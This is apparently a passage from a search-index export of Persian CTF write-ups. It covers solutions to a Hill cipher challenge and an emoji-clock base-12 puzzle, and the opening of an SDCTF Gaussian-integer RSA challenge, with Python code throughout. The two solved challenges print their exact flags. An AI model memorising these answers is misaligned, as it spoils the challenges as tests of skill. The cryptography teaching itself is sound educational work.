\u06a9\u0627\u0641\u06cc\u0633\u062a \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0633\u0627\u06cc\u062a \u0632\u06cc\u0631 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u06a9\u0646\u06cc\u0645 \u0648 \u0641\u0644\u06af \u0631\u0627 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0648\u0631\u062f\u06cc\u0645.

https://www.dcode.fr/hill-cipher

FLAG

CODEBY{BTW_EXISTS_AN_INTERESTING_FILM_ABOUT_HILLS}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_1","title":"\u0646\u062d\u0648\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc","text":"

\u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0627\u0632 \u06cc\u06a9 \u0627\u0644\u0641\u0628\u0627 \u0648 \u06cc\u06a9 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 \u0645\u0631\u0628\u0639\u06cc \u0628\u0647 \u0633\u0627\u06cc\u0632 n \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u06a9\u0647 \u0628\u0647\u0634 encryption matrix \u0645\u06cc\u06af\u06cc\u0645.

\u0628\u06cc\u0627\u06cc\u06cc\u062f \u0628\u0631\u0627\u06cc \u062f\u0631\u06a9 \u0628\u0647\u062a\u0631 \u0628\u0627 \u0645\u062b\u0627\u0644\u06cc \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645 \u0645\u06cc\u062e\u0648\u0627\u0647\u06cc\u0645 \u0631\u0634\u062a\u0647 FLAG_MOTORI \u0631\u0627 \u0628\u0627 \u0627\u0644\u0641\u0628\u0627 \u0632\u06cc\u0631

alphabet  = \"ABCDEFGHIJKLMNOPQRSTUVWXYZ_\"\n

\u0648 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 M (\u0633\u0627\u06cc\u0632 2) \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u06a9\u0646\u06cc\u0645

M = \\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix}
  1. \u0627\u0628\u062a\u062f\u0627 \u0645\u062a\u0646 \u0628\u0647 \u062a\u06a9\u0647 \u0647\u0627\u06cc\u06cc \u0628\u0647 \u0637\u0648\u0644 n \u0646\u0642\u0633\u06cc\u0645 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u062f\u0631 \u0635\u0648\u0631\u062a\u06cc\u06a9\u0647 \u062a\u06a9\u0647 \u0622\u062e\u0631 \u0637\u0648\u0644\u0634 \u06a9\u0645\u062a\u0631 \u0627\u0632 n \u0628\u0627\u0634\u062f\u060c \u062d\u0631\u0648\u0641 \u0631\u0646\u062f\u0648\u0645 \u0628\u0647\u0634 \u0627\u0636\u0627\u0641\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u062a\u0627 \u0637\u0648\u0644\u0634 \u0628\u0631\u0627\u0628\u0631 n \u0634\u0648\u062f. \u062f\u0631 \u0645\u062b\u0627\u0644 \u0645\u0627 \u0627\u06cc\u0646\u06af\u0648\u0646\u0647 \u0645\u06cc\u0634\u0648\u062f

  2. \u0633\u067e\u0633 \u0647\u0631 \u062d\u0631\u0641 \u0631\u0627 \u0628\u0627 \u0627\u06cc\u0646\u062f\u06a9\u0633\u0634 \u062f\u0631 \u0627\u0644\u0641\u0628\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645.

    (5,11), (0,6), (26,12), (14,19), (14,17), (8,25)\n
  3. \u0633\u067e\u0633 \u0628\u0631\u0627\u06cc \u0647\u0631 \u062a\u06a9\u0647\u060c \u0636\u0631\u0628 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633\u06cc \u0632\u06cc\u0631 \u0631\u0627 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647\u06cc\u0645 \u06a9\u0647 C \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0645\u0627 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f. ( \u0639\u062f\u062f 27 \u0637\u0648\u0644 \u0627\u0644\u0641\u0628\u0627\u06cc \u0645\u0627 \u0647\u0633\u062a\u0634)

    M \\cdot P \\equiv C \\mod 27

    \u06a9\u0647 \u062f\u0631 \u0645\u062b\u0627\u0644 \u0645\u0627 \u0628\u0631\u0627\u06cc \u062a\u06a9\u0647 \u0627\u0648\u0644 \u0627\u06cc\u0646\u06af\u0648\u0646\u0647 \u062e\u0648\u0627\u0647\u062f \u0628\u0648\u062f

    \\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix} \\cdot \\begin{bmatrix} 5 \\\\ 11 \\end{bmatrix} \\equiv \\begin{bmatrix} 16 \\\\ 21 \\end{bmatrix} \\mod 27

    \u062f\u0631 \u0627\u0646\u062a\u0647\u0627 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0631\u0627 \u0628\u0627 \u062d\u0631\u0648\u0641 \u0646\u0638\u06cc\u0631\u0634\u0627\u0646 \u062f\u0631 \u0627\u0644\u0641\u0628\u0627 \u062c\u0627\u06cc\u06af\u0632\u06cc\u0646 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0645\u06cc\u0631\u0633\u06cc\u0645. \u06a9\u0647 \u062f\u0631 \u0645\u062b\u0627\u0644 \u0631\u0634\u062a\u0647 FLAG_MOTORI \u0628\u0647 \u0645\u062a\u0646 \u0631\u0645\u0632 \u0634\u062f\u0647 \u0632\u06cc\u0631 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc\u0634\u0648\u062f.

    QVSPHZEOZAK_\n
","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_2","title":"\u0646\u062d\u0648\u0647 \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc","text":"

\u0628\u0631\u0627\u06cc \u0631\u0645\u0632\u06af\u0634\u0627\u06cc\u06cc \u0628\u0647 \u0645\u0627\u062a\u0631\u06cc\u06a9\u0633 \u0648 \u0627\u0644\u0641\u0628\u0627\u06cc \u0645\u0648\u0631\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645. \u06a9\u0627\u0641\u06cc\u0633\u062a \u0648\u0627\u0631\u0648\u0646 \u0645\u0627\u062a\u0631\u06cc\u0633 \u0628\u0647 \u067e\u06cc\u0645\u0627\u0646\u0647 27 \u0631\u0627 \u0645\u062d\u0627\u0633\u0628\u0647 \u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0627\u0642\u06cc \u0645\u0631\u0627\u062d\u0644 \u0645\u0634\u0627\u0628\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u067e\u06cc\u0634 \u0628\u0631\u0648\u06cc\u0645.

\\begin{bmatrix} 2 & 3 \\\\ 5 & 7 \\end{bmatrix} ^{-1} \\equiv \\begin{bmatrix} -7 & 3 \\\\ 5 & -2 \\end{bmatrix} \\equiv \\begin{bmatrix} 19 & 3 \\\\ 5 & 24 \\end{bmatrix} \\mod 27","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Hills/#_3","title":"\u067e\u06cc\u0627\u062f\u0647 \u0633\u0627\u0632\u06cc \u062f\u0631 \u067e\u0627\u06cc\u062a\u0648\u0646","text":"python
import numpy as np\nfrom sympy import Matrix\n\nclass HillCipher:\n    def __init__(self, alphabet, matrix):\n        self.n, m = matrix.shape\n        assert self.n==m\n        self.alphabet = alphabet\n        self.mod = len(self.alphabet)\n        self.mapper = dict(zip(self.alphabet, range(self.mod)))\n        self.mapper |= dict((v, k) for k, v in self.mapper.items())\n        self.M = matrix % self.mod\n        self.invM = np.array(Matrix(self.M).inv_mod(self.mod))\n\n    def process(self, msg, dec=False):\n        key = self.invM if dec else self.M\n        msg += 'Z'*(len(msg)%self.n)\n        msgI = [*map(self.mapper.get, msg)]\n        res = ''\n        for i in range(len(msgI)//self.n):\n            P = np.array(msgI[i*self.n:i*self.n+self.n])\n            C = np.dot(key,P) % self.mod\n            res += ''.join(map(self.mapper.get, C))\n        return res\n\n    def encrypt(self, plain):\n        return self.process(plain.upper())\n\n    def decrypt(self, cipher):\n        return self.process(cipher.upper(), True)\n\nalphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ_'\narr = np.array([\n    [2,3],\n    [5,7]\n])\n\nHillCipher(alphabet, arr).encrypt('FLAG_MOTORI')\n
","tags":["Cybercoliseum \u2162","Crypto","Hill Cipher"]},{"location":"crypto/writeups/Cybercoliseum%20%E2%85%A2/Watchmaker/","title":"\u0686\u0627\u0644\u0634 Watchmaker","text":"

\u062e\u0628 \u062a\u0648 \u0627\u06cc\u0646 \u0633\u0648\u0627\u0644 \u0641\u0627\u06cc\u0644\u06cc \u0628\u0627 \u0645\u062d\u062a\u0648\u06cc\u0627\u062a \u0632\u06cc\u0631 \u0628\u0647 \u0645\u0627 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u0627\u0633\u062a

&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\n

\u0628\u0631\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0641\u0647\u0645\u06cc\u0645 \u0628\u0627 \u0686\u06cc \u0631\u0648\u0628\u0631\u0648 \u0634\u062f\u06cc\u0645 \u0627\u0648\u0645\u062f\u0645 \u0639\u062f\u062f \u0627\u0648\u0644 (&#128340;) \u0631\u0648 \u062a\u0648 \u06af\u0648\u06af\u0644 \u0633\u0631\u0686 \u06a9\u0631\u062f\u0645 \u0648 \u062f\u06cc\u062f\u0645 \u062a\u0628\u062f\u06cc\u0644 \u0634\u062f \u0628\u0647 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0633\u0627\u0639\u062a \ud83d\udd54

\u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0627 \u062a\u06cc\u06a9\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0627\u0648\u0645\u062f\u0645 \u062a\u0628\u062f\u06cc\u0644\u0634\u0648\u0646 \u06a9\u0631\u062f\u0645 \u0628\u0647 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0647\u0627\u06cc \u062e\u0627\u0635 \u062e\u0648\u062f\u0634

s = \"&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\"\nprint( ''.join(map(lambda x: chr(int(x[2:])), s[:-1].split('; '))) )\n# '\ud83d\udd54\ud83d\udd56\ud83d\udd55\ud83d\udd56\ud83d\udd54\ud83d\udd57\ud83d\udd54\ud83d\udd58\ud83d\udd54\ud83d\udd55\ud83d\udd56\ud83d\udd54\ud83d\udd59\ud83d\udd52\ud83d\udd53\ud83d\udd50\ud83d\udd58\ud83d\udd57\ud83d\udd58\ud83d\udd56\ud83d\udd56\ud83d\udd5a\ud83d\udd58\ud83d\udd57\ud83d\udd53\ud83d\udd50\ud83d\udd58\ud83d\udd50\ud83d\udd53\ud83d\udd52\ud83d\udd56\ud83d\udd5a\ud83d\udd58\ud83d\udd57\ud83d\udd52\ud83d\udd53\ud83d\udd56\ud83d\udd5a\ud83d\udd57\ud83d\udd57\ud83d\udd53\ud83d\udd53\ud83d\udd57\ud83d\udd52\ud83d\udd57\ud83d\udd5a\ud83d\udd59\ud83d\udd54'\n

\u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u062f\u06cc\u062f\u06cc\u0645 \u0627\u06cc\u0645\u0648\u062c\u06cc \u0647\u0627 \u062f\u0627\u0631\u0646\u062f \u0633\u0627\u0639\u062a \u0647\u0627\u06cc \u062a\u062e\u062a \u0631\u0648 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0646 \u067e\u0633 \u0627\u0648\u0645\u062f\u06cc\u0645 \u0633\u0627\u0639\u062a\u0634\u0648\u0646 \u0631\u0648 \u0628\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0632\u06cc\u0631 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u06a9\u0631\u062f\u06cc\u0645

d={\n    36: 1,\n    37: 2,\n    38: 3,\n    39: 4,\n    40: 5,\n    41: 6,\n    42: 7,\n    43: 8,\n    44: 9,\n    45: 10,\n    46: 11,\n}\nz = [*map(lambda x: d[int(x[2:])%100], s[:-1].split('; '))]\n# [5, 7, 6, 7, 5, 8, 5, 9, 5, 6, 7, 5, 10, 3, 4, 1, 9, 8, 9, 7, 7, 11, 9, 8, 4, 1, 9, 1, 4, 3, 7, 11, 9, 8, 3, 4, 7, 11, 8, 8, 4, 4, 8, 3, 8, 11, 10, 5]\n

\u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u0627\u0648\u0645\u062f\u06cc\u0645 \u06a9\u0644\u06cc \u0641\u06a9\u0631 \u06a9\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0639\u062f\u0627\u062f \u0686\u06cc \u0645\u06cc\u062a\u0648\u0646\u0646 \u0628\u0627\u0634\u0646\u062f \u0627\u0648\u0644\u06cc\u0646 \u06af\u0632\u06cc\u0646\u0647 \u06a9\u0647 \u0628\u0647 \u0630\u0647\u0646\u0645\u0648\u0646 \u0631\u0633\u06cc\u062f \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u06cc\u0646 \u0627\u0639\u062f\u0627\u062f \u0634\u0627\u06cc\u062f \u0647\u06af\u0632 \u0628\u0627\u0634\u0646\u062f \u0628\u0627 \u062a\u0648\u062c\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af C \u0648 \u062d\u0631\u0641 \u0633\u0648\u0645 \u0641\u0644\u06af D \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 1 \u0647\u0633\u062a\u0634 \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062f\u0648 \u0639\u062f\u062f 57 \u0648 58 \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 \u06cc\u06a9 \u0647\u0633\u062a\u0634\u060c \u0634\u0627\u06cc\u062f \u062d\u062f\u0633\u0645\u0648\u0646 \u062f\u0631\u0633\u062a \u0628\u0627\u0634\u0647 \u0648\u0644\u06cc \u0628\u0631\u0627\u06cc \u062d\u0631\u0641 \u0627\u0648\u0644 \u0648 \u062f\u0648\u0645 \u0627\u06cc\u0646 \u0631\u0627\u0628\u0637\u0647 \u062f\u0631\u0633\u062a \u062f\u0631 \u0646\u0645\u06cc\u0648\u0645\u062f. \u062d\u0631\u0641 \u0627\u0648\u0644 \u0641\u0644\u06af C \u0628\u0627 \u062d\u0631\u0641 \u062f\u0648\u0645 O \u0627\u062e\u062a\u0644\u0627\u0641\u0634\u0648\u0646 12 \u0647\u0633\u062a\u0634. \u0648\u0644\u06cc \u062a\u0648 \u0631\u0634\u062a\u0647 \u0645\u062a\u0646\u0627\u0638\u0631 \u0645\u0627 \u0645\u0642\u0627\u062f\u06cc\u0631 57 \u0648 67 \u0628\u0647\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647. \u0627\u06cc\u0646\u062c\u0627\u06cc \u06a9\u0627\u0631 \u067e\u06cc \u0628\u0631\u062f\u06cc\u0645 \u06a9\u0647 \u0645\u0628\u0646\u0627 12 \u0647\u0633\u062a\u0646\u062f \u0627\u0639\u062f\u0627\u062f \u0648 \u062f\u0631 \u0627\u062f\u0627\u0645\u0647 \u0628\u0633\u0627\u062f\u06af\u06cc \u062a\u0648\u0646\u0633\u062a\u06cc\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u062f\u0633\u062a \u0628\u06cc\u0627\u0631\u06cc\u0645

s = \"&#128340; &#128342; &#128341; &#128342; &#128340; &#128343; &#128340; &#128344; &#128340; &#128341; &#128342; &#128340; &#128345; &#128338; &#128339; &#128336; &#128344; &#128343; &#128344; &#128342; &#128342; &#128346; &#128344; &#128343; &#128339; &#128336; &#128344; &#128336; &#128339; &#128338; &#128342; &#128346; &#128344; &#128343; &#128338; &#128339; &#128342; &#128346; &#128343; &#128343; &#128339; &#128339; &#128343; &#128338; &#128343; &#128346; &#128345; &#128340;\"\nd={\n    36: 1,\n    37: 2,\n    38: 3,\n    39: 4,\n    40: 5,\n    41: 6,\n    42: 7,\n    43: 8,\n    44: 9,\n    45: 10,\n    46: 11,\n}\nz = [*map(lambda x: d[int(x[2:])%100], s[:-1].split('; '))]\n''.join(chr(z[i*2]*12 + z[i*2+1]) for i in range(len(z)//2))\n
FLAG

CODEBY{1ts_t1m3_t(_h4ck}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

mheidari98

","tags":["Cybercoliseum \u2162","Crypto","base12"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/","title":"\u0686\u0627\u0644\u0634 ComplexProblem","text":"","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_1","title":"\u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644","text":"

\u062e\u0628 \u062f\u0631 \u0635\u0648\u0631\u062a \u0633\u0648\u0627\u0644 \u06af\u0641\u062a\u0647:\u200c \u0627\u0632 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc RSA \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0628\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u0627 \u0627\u0639\u062f\u0627\u062f \u0645\u062e\u062a\u0644\u0637 \u0633\u0631 \u0648 \u06a9\u0644\u0647 \u0628\u0632\u0646\u06cc\u0645...

\u06cc\u0647 \u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u0645\u062d\u062a\u0648\u0627\u0634 \u0627\u06cc\u0646\u0647:

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#outtxt","title":"\u0641\u0627\u06cc\u0644 \u0645\u062a\u0646\u06cc out.txt","text":"
N = 47314254765672217716326132674\n+ 275948221897758780728621214539i\ne = 65537\nciphertext = -120974603478533287568533462088\n+ -26598567903204264781472600457i\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#gaussian-rational","title":"\u06a9\u0644\u0627\u0633 Gaussian Rational","text":"

\u0628\u06cc\u0627\u06cc\u0645 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

\u0634\u0627\u06cc\u062f \u0628\u0631\u0627\u062a\u0648\u0646 \u0633\u0648\u0627\u0644 \u0628\u0634\u0647 \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u0627\u0635\u0644\u0627 \u0686\u06cc \u0647\u0633\u062a\u061f\u200c \u062f\u0631 \u0648\u0627\u0642\u0639 \u062a\u0648\u06cc \u0631\u06cc\u0627\u0636\u06cc\u0627\u062a\u060c \u06cc\u06a9 \u0639\u062f\u062f \u06af\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u06cc\u06a9 \u0639\u062f\u062f \u0645\u062e\u062a\u0644\u0637 \u0628\u0647 \u0634\u06a9\u0644

\u200d\u200d\u200d\u200dp + qi

\u0647\u0633\u062a\u060c \u06a9\u0647 \u062a\u0648\u06cc \u0627\u0648\u0646 p \u0648 q \u0647\u0631 \u062f\u0648 \u0627\u0639\u062f\u0627\u062f \u06af\u0648\u06cc\u0627 \u0647\u0633\u062a\u0646\u062f. \u0648 \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u062f\u0648\u0646\u06cc\u062f p \u0642\u0633\u0645\u062a Real \u06cc\u0627 \u062d\u0642\u06cc\u0642\u06cc \u0648 q \u0642\u0633\u0645\u062a Imag \u06cc\u0627 \u0645\u0648\u0647\u0648\u0645\u06cc \u0647\u0633\u062a.

\u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u06a9\u0646\u06cc\u062f \u06a9\u0647 \u06cc\u06a9\u0633\u0631\u06cc \u0639\u0645\u0644\u06cc\u0627\u062a \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0644\u0627\u0633 \u062a\u0639\u06cc\u06cc\u0646 \u0634\u062f\u0647

class GaussianRational:\n    def __init__(self, real: Fraction, imag: Fraction):\n        assert(type(real) == Fraction)\n        assert(type(imag) == Fraction)\n        self.real = real\n        self.imag = imag\n\n    def conjugate(self):\n        return GaussianRational(self.real, self.imag * -1)\n\n    def __add__(self, other):\n        return GaussianRational(self.real + other.real, self.imag + other.imag)\n\n    def __sub__(self, other):\n        return GaussianRational(self.real - other.real, self.imag - other.imag)\n\n    def __mul__(self, other):\n        return GaussianRational(self.real * other.real - self.imag * other.imag, self.real * other.imag + self.imag * other.real)\n\n    def __truediv__(self, other):\n        divisor = (other.conjugate() * other).real\n        dividend = other.conjugate() * self\n        return GaussianRational(dividend.real / divisor, dividend.imag / divisor)\n\n    # credit to https://stackoverflow.com/questions/54553489/how-to-calculate-a-modulo-of-complex-numbers\n    def __mod__(self, other):\n        x = self/other\n        y = GaussianRational(Fraction(round(x.real)), Fraction(round(x.imag)))\n        z = y*other\n        return self - z\n\n    # note: does not work for negative exponents\n    # exponent is (non-negative) integer, modulus is a Gaussian rational\n    def __pow__(self, exponent, modulo):\n        shifted_exponent = exponent\n        powers = self\n        result = GaussianRational(Fraction(1), Fraction(0))\n        while (shifted_exponent > 0):\n            if (shifted_exponent & 1 == 1):\n                result = (result * powers) % modulo\n            shifted_exponent >>= 1\n            powers = (powers * powers) % modulo\n        return result\n\n    def __eq__(self, other):\n        if type(other) != GaussianRational: return False\n        return self.imag == other.imag and self.real == other.real\n\n    def __repr__(self):\n        return f\"{self.real}\\n+ {self.imag}i\"\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_2","title":"\u0633\u0627\u062e\u062a\u0646 \u06a9\u0644\u06cc\u062f","text":"

\u062d\u0627\u0644\u0627 \u0647\u0645\u0648\u0646\u0637\u0648\u0631 \u06a9\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u062f \u062f\u0648 \u062a\u0627 \u062a\u0627\u0628\u0639 \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 \u0632\u062d\u0645\u062a \u0633\u0627\u062e\u062a\u0646 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u0645\u06cc\u06a9\u0634\u0646..

","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#get_gaussian_prime","title":"\u062a\u0627\u0628\u0639 get_gaussian_prime","text":"

\u06a9\u0647 \u0645\u06cc\u0627\u062f \u06cc\u06a9 \u0639\u062f\u062f \u0627\u0648\u0644 \u06af\u0627\u0648\u0633\u06cc \u0631\u0648 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647

# gets a Gaussian prime with real/imaginary component being n bits each\ndef get_gaussian_prime(nbits):\n    while True:\n        candidate_real = randbits(nbits-1) + (1 << nbits)\n        candidate_imag = randbits(nbits-1) + (1 << nbits)\n        if isPrime(candidate_real*candidate_real + candidate_imag*candidate_imag):\n            candidate = GaussianRational(Fraction(candidate_real), Fraction(candidate_imag))\n            return candidate\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#generate_keys","title":"\u062a\u0627\u0628\u0639 generate_keys","text":"

\u0627\u06cc\u0646\u0645 \u06a9\u0647 \u0639\u062f\u062f \u0627\u0648\u0644\u0627\u0634\u0648 \u0627\u0632 \u062a\u0627\u0628\u0639 \u0628\u0627\u0644\u0627 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u06a9\u0644\u06cc\u062f \u0631\u0648 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647

def generate_keys(nbits, e=65537):\n    p = get_gaussian_prime(nbits)\n    q = get_gaussian_prime(nbits)\n    N = p*q\n    return (N, e) # (N, e) is public key\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#encrypt","title":"\u062a\u0627\u0628\u0639 encrypt","text":"

\u062d\u0627\u0644\u0627 \u062a\u0627\u0628\u0639\u06cc \u06a9\u0647 \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u06cc\u06a9\u0646\u0647 \u0631\u0648 \u0647\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645

def encrypt(message, public_key):\n    (N, e) = public_key\n    return pow(message, e, N)\n
","tags":["SDCTF","SDCTF-2024","Crypto","RSA","Complex Numbers"]},{"location":"crypto/writeups/SDCTF/ComplexProblem/#_3","title":"\u0631\u0648\u0634 \u062d\u0644","text":"

\u062e\u0628 \u0628\u0628\u0627\u06cc\u0646 \u062f\u0642\u062a \u06a9\u0646\u06cc\u0645 \u0628\u0628\u06cc\u0646\u06cc\u0645 \u0686\u0647 \u0628\u0644\u0627\u06cc\u06cc \u0633\u0631 \u0641\u0644\u06af \u0645\u06cc\u0627\u062f \u0648 \u0686\u062c\u0648\u0631\u06cc \u0631\u0645\u0632 \u0645\u06cc\u0634\u0647 \u0648 \u0686\u06cc\u06a9\u0627\u0631 \u0628\u0627\u06cc\u062f \u0628\u06a9\u0646\u06cc\u0645 \u0627\u0635\u0644\u0627\u061f

flag = None\nwith open(\"/home/ctf/flag\", \"r\") as f:\n    flag = f.read()\npublic_key = generate_keys(48)\n(N, e) = public_key\nprint(f\"N = {N}\")\nprint(f\"e = {e}\")\nflag1 = flag[:len(flag) // 2].encode()\nflag2 = flag[len(flag) // 2:].encode()\nreal = int(hexlify(flag1).decode(), 16)\nimag = int(hexlify(flag2).decode(), 16)\nmessage = GaussianRational(Fraction(real), Fraction(imag))\nassert(real*real + imag*imag < N.real * N.real + N.imag * N.imag)\nciphertext = encrypt(message, public_key)\nprint(f\"ciphertext = {ciphertext}\")\n

\u062e\u0628 \u062f\u0631 \u0645\u0631\u062d\u0644\u0647 \u0627\u0648\u0644 \u0645\u06cc\u0627\u062f \u0641\u0644\u06af\u0648 \u0645\u06cc\u062e\u0648\u0646\u0647 \u0648 \u0628\u0639\u062f\u0634 \u06cc\u06a9 \u06a9\u0644\u06cc\u062f \u0639\u0645\u0648\u0645\u06cc \u06f6\u06f4 \u0628\u06cc\u062a\u06cc \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0628\u0639\u062f\u0634 \u0645\u06cc\u0627\u062f \u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u06a9\u062f \u0628\u0627\u0644\u0627 \u0631\u0648 \u0647\u0627\u06cc\u0644\u0627\u06cc\u062a \u06a9\u0631\u062f\u0645 \u0645\u06cc\u0627\u062f \u0641\u0644\u06af\u0648 \u062f\u0648 \u062a\u06a9\u0647 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u062f\u0631 \u0642\u0627\u0644\u0628 \u06af\u0627\u0648\u0633\u06cc \u06af\u0648\u06cc\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u067e\u06cc\u0627\u0645\u06cc \u06a9\u0647 \u0642\u0631\u0627\u0631\u0647 \u0631\u0645\u0632 \u0628\u0634\u0647 \u062a\u0628\u062f\u06cc\u0644 \u0645\u06cc\u06a9\u0646\u0647.

\u0628\u0639\u062f\u0634 \u0645\u06cc\u0627\u062f encrypt \u0645\u06cc\u06a9\u0646\u0647.

